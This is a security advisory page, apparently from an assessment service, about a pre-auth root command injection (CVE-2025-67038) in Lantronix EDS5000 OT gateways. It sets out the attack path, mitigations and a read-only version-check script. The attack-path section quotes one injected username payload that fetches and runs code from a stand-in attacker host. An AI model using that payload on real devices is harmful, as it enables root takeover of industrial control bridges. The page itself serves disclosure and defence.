← Back to Feed CACHED · 2026-06-24 19:50:11 · CACHE_KEY CVE-2025-67038
CVE-2025-67038 · CWE-94 · Disclosed 2026-03-11

Lantronix EDS5000 2

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

An OT gateway that runs whatever username you type at it — as root

Lantronix EDS5000 is a serial-to-Ethernet device server — the small black box that bridges legacy RS-232/485 equipment (PLCs, HMIs, building controls, medical devices, point-of-sale terminals) onto IP networks. CVE-2025-67038 is a classic CWE-94 command injection: the HTTP RPC handler writes a log line on failed authentication and shell-concatenates the supplied username directly into the command. No credential is required — the bug triggers on the *failed* auth path. Affected firmware is EDS5000 2.1.0.0R3 and earlier; fixed in 2.2.0.0R1. The EDS3000PS line is also implicated per the parallel ICS advisory.

Vendor severity of 9.8 CRITICAL matches reality here, and the reassessment holds it there. This is exactly the pattern that justifies the label: unauthenticated, network-reachable, single HTTP request, root execution, on a device whose entire purpose is to sit at the seam between trusted serial endpoints and routable IP networks. CISA added it to KEV on 2026-06-23 with a federal patch-by date of 2026-06-26 — there is no friction story that lowers this.

"Pre-auth root command injection in a KEV-listed serial-to-Ethernet gateway sitting between IT and OT. Patch in hours."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Locate exposed EDS5000 web interface

Attacker scans for the Lantronix management HTTP/HTTPS interface — typically TCP/80, 443, or 9999. Shodan and Censys fingerprint the device by its Server: banner and login page title. Internet-exposed units are a minority but non-zero; the more common attack scenario is post-initial-access pivot to the OT network where these devices are everywhere.
Conditions required:
  • Network reachability to the EDS5000 management port
  • Device running firmware ≤ 2.1.0.0R3
Where this breaks in practice:
  • Most enterprises *should* segment device servers off the corporate LAN — many don't
  • Some operators bind management to a serial console only
Detection/coverage: Shodan/Censys queries for Lantronix + EDS banners enumerate exposed units; internal asset inventories rarely tag these devices accurately.
STEP 02

Send crafted login with command-injected username

Attacker POSTs to the auth endpoint with a username payload like admin;wget http://attacker/x -O /tmp/x;sh /tmp/x;#. The HTTP RPC handler concatenates the username into a shell command intended to write a failed-auth log entry. Tools: curl, a 20-line Python PoC, or a Metasploit module once one lands publicly.
Conditions required:
  • Reach Step 1
  • Knowledge of the vulnerable login endpoint path (published in public PoC chatter)
Where this breaks in practice:
  • WAF in front of the device — almost never present on OT gateways
  • Outbound egress filtering may block stage-2 fetch
Detection/coverage: Web logs show malformed/oversized username fields; EDR is not present on embedded firmware.
STEP 03

Code executes as root on the device

The injected command runs in the context of the web RPC daemon, which on EDS5000 firmware is root. No privilege escalation needed. Attacker has full control of the device's filesystem, network stack, and crucially the serial passthrough buffers.
Conditions required:
  • Step 2 succeeds
  • Egress reachable for tool drop (or live-off-the-land using busybox)
Where this breaks in practice:
  • Embedded flash is small — limits implant size, not capability
Detection/coverage: Process-level visibility on these devices is effectively zero unless syslog is forwarded to a SIEM.
STEP 04

Pivot into the serial-attached OT/ICS endpoint

The attacker now reads, modifies, or injects traffic on the RS-232/485 side — Modbus, BACnet, DNP3, or proprietary PLC frames. This is the true blast radius: the EDS5000 is a transparent bridge, and root on it means man-in-the-middle on the industrial protocol. The device can also be used as a persistent foothold inside the OT VLAN.
Conditions required:
  • Step 3 succeeds
  • Serial-attached equipment is operationally meaningful (PLC, sensor, badge reader, medical instrument)
Where this breaks in practice:
  • None — the device is designed to be transparent on the serial side
Detection/coverage: ICS-specific monitoring (Claroty, Dragos, Nozomi) may flag anomalous protocol traffic if deployed.
03 · Intelligence Metadata

The supporting signals.

In-the-wildActive exploitation confirmed by CISA on 2026-06-23; added to KEV same day with federal mitigation deadline of 2026-06-26
KEV statusListed (2026-06-23) — alongside CVE-2025-52665 and Ubiquiti UniFi OS flaws
EPSS0.01131 (~1.1%) — low because PoC is not yet public on GitHub, but KEV listing overrides EPSS for prioritization
Public PoCNo named GitHub repo yet; technical writeups describe the username-parameter injection in enough detail to reproduce in minutes
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network, no auth, no UI, full CIA impact. Accurate.
CWECWE-94 — Improper Control of Generation of Code (Command Injection variant)
AffectedLantronix EDS5000 firmware ≤ 2.1.0.0R3; EDS3000PS also referenced in CISA ICS advisory ICSA-26-069-02
FixedEDS5000 firmware 2.2.0.0R1
ExposureShodan typically shows a few thousand internet-exposed Lantronix device servers globally; internal OT-network population is orders of magnitude larger
Disclosure2026-03-11 vendor advisory; KEV addition 2026-06-23 — ~3-month gap from patch to mass exploitation
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to CRITICAL (9.8/10)

Unauthenticated root command injection in a KEV-listed OT gateway whose canonical deployment is bridging serial-attached industrial endpoints onto routable networks — the single decisive factor is the role multiplier: compromise of the device equals man-in-the-middle on whatever PLC, sensor, or control system sits on the serial side. No friction in the attack chain meaningfully reduces this; active exploitation is already documented.

HIGH Technical exploitability
HIGH Active exploitation (KEV-backed)
MEDIUM Internet-facing population (exposure varies by sector)

Why this verdict

  • Pre-auth + root + single request — the cheapest possible exploitation profile; no credential, no chain, no user interaction.
  • KEV listing as of 2026-06-23 with federal patch deadline 2026-06-26 — CISA does not list speculative bugs; this is being weaponized now.
  • Role multiplier: EDS5000 is canonically a serial-to-Ethernet bridge into OT/ICS, building automation, medical, and retail environments. Chain succeeds in every deployment role and ends in MITM on the industrial protocol — fleet-scale blast radius within any OT estate. Verdict floor is CRITICAL.
  • Low EPSS is misleading here — EPSS lags KEV by weeks on embedded-device CVEs because public PoC publication trails private exploitation.
  • Patch friction is real — embedded firmware upgrades require maintenance windows on production OT, which is exactly why compensating controls matter immediately.

Why not higher?

CRITICAL is the top bucket. There is no higher rating; the only thing that would intensify this is a wormable component, and HTTP-based device-server attacks don't self-propagate without an additional discovery primitive.

Why not lower?

Every plausible downgrade lever fails. The bug is unauthenticated, the affected product is purpose-built to live at sensitive network seams, KEV proves active exploitation, and EPSS — the usual lever for downgrading low-percentile bugs — is overridden by direct evidence of in-the-wild use.

05 · Compensating Control

What to do — in priority order.

  1. Block management ports at the network edge today — ACL TCP/80, 443, and 9999 inbound from any untrusted segment to every EDS5000/EDS3000PS. This is the noisgate mitigation SLA action — deploy within 3 days (CRITICAL) but realistically within hours given KEV active-exploitation status.
  2. Move device servers behind a jump host or VPN — Management plane should be reachable only from a hardened admin VLAN. Apply within the same 3-day window; this also buys time for the firmware upgrade rollout.
  3. Inventory all Lantronix devices via SNMP sweep and DHCP logs — Most orgs underestimate their EDS footprint because OT/facilities teams procure them outside IT. Complete inventory within 7 days to scope the patch campaign.
  4. Enable syslog forwarding to SIEM with alerts on auth-failure spikes and oversized username fields — The exploit pattern is a malformed username in a failed login. Even basic regex detection on the forwarded log catches it. Deploy concurrent with the network ACL.
  5. Upgrade firmware to 2.2.0.0R1 in coordinated maintenance windows — noisgate remediation SLA for CRITICAL is ≤ 90 days, but KEV listing pulls this forward — target full fleet patched within 30 days with priority to any unit reachable from corporate or external networks.
What doesn't work
  • Changing the admin password — the bug triggers on the *failed* auth path; credentials are irrelevant.
  • EDR or host-based AV — these devices run embedded firmware, no agent surface.
  • WAF rules written against the login form alone — the injection is in the username field, which traverses the same POST as legitimate logins; rules must specifically target shell metacharacters and command syntax in that parameter.
  • Disabling the web UI in config — historically Lantronix web UI disable does not block all RPC endpoints; only network-layer ACLs are reliable.
06 · Verification

Crowdsourced verification payload.

Run from an auditor workstation on the same routable segment as the target device. Requires network reachability only — no credentials. Invoke as ./check-eds5000.sh 10.20.30.40 against each Lantronix IP. Safe (no injection payload sent); reads only the login banner and version string.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate verification — CVE-2025-67038 Lantronix EDS5000
# Output: VULNERABLE / PATCHED / UNKNOWN
set -u

TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <ip-or-host>" >&2
  exit 2
fi

UA="noisgate-verifier/1.0"
PORTS=(80 443 9999)
FIXED_MAJOR=2; FIXED_MINOR=2; FIXED_REV=0

fetch() {
  local proto=$1 port=$2
  curl -ksS --max-time 5 -A "$UA" "${proto}://${TARGET}:${port}/" 2>/dev/null
}

BANNER=""
for p in "${PORTS[@]}"; do
  proto=http; [[ $p == 443 ]] && proto=https
  B=$(fetch "$proto" "$p")
  if [[ -n "$B" ]]; then BANNER="$B"; break; fi
done

if [[ -z "$BANNER" ]]; then
  echo "UNKNOWN: no HTTP response from ${TARGET} on ports ${PORTS[*]}"
  exit 3
fi

if ! grep -qiE "lantronix|EDS[0-9]+" <<< "$BANNER"; then
  echo "UNKNOWN: target does not fingerprint as Lantronix EDS"
  exit 3
fi

# Extract firmware version like 2.1.0.0R3 or 2.2.0.0R1
VER=$(grep -oE "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+R[0-9]+" <<< "$BANNER" | head -n1)
if [[ -z "$VER" ]]; then
  echo "UNKNOWN: Lantronix device detected but firmware version not parseable from banner"
  exit 3
fi

MAJ=${VER%%.*}; rest=${VER#*.}
MIN=${rest%%.*}; rest=${rest#*.}
REV=${rest%%.*}

if   (( MAJ >  FIXED_MAJOR )); then STATUS=PATCHED
elif (( MAJ <  FIXED_MAJOR )); then STATUS=VULNERABLE
elif (( MIN >= FIXED_MINOR )); then STATUS=PATCHED
else STATUS=VULNERABLE
fi

echo "${STATUS}: ${TARGET} firmware ${VER} (fixed ≥ 2.2.0.0R1)"
[[ $STATUS == VULNERABLE ]] && exit 1 || exit 0
07 · Bottom Line

If you remember one thing.

TL;DR
This is a patch-or-firewall-today event. CVE-2025-67038 is KEV-listed with confirmed in-the-wild exploitation, unauthenticated, single-request root code execution on a device whose entire job is to sit between IT and OT — exactly the role attackers want to own. By end of day Monday: inventory every Lantronix EDS5000/EDS3000PS, ACL management ports off any untrusted segment, and forward syslog to your SIEM with auth-failure alerting. Per the noisgate mitigation SLA for CRITICAL the deadline is ≤ 3 days, but KEV active-exploitation status overrides that to *within hours*. Per the noisgate remediation SLA the firmware upgrade to 2.2.0.0R1 is nominally ≤ 90 days — pull it forward to ≤ 30 days for any device reachable beyond a hardened admin VLAN, prioritizing internet-exposed units first.

Sources

  1. CISA ICS Advisory ICSA-26-069-02 — Lantronix EDS3000PS and EDS5000
  2. CISA KEV addition (2026-06-23)
  3. The Hacker News — CISA Warns Critical Lantronix EDS5000 Flaw Actively Exploited
  4. SecurityWeek — Critical Ubiquiti/Lantronix Vulnerabilities in Attackers' Crosshairs
  5. BleepingComputer — CISA warns of max severity flaws exploited in attacks
  6. SecurityAffairs — CISA adds Ubiquiti UniFi OS and Lantronix EDS5000 to KEV
  7. SecurityOnline — CISA Adds Four Exploited UniFi OS and Lantronix Flaws to KEV
  8. CloudKey Blog — Attackers Reach Root on UniFi OS and Lantronix Edge Servers
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.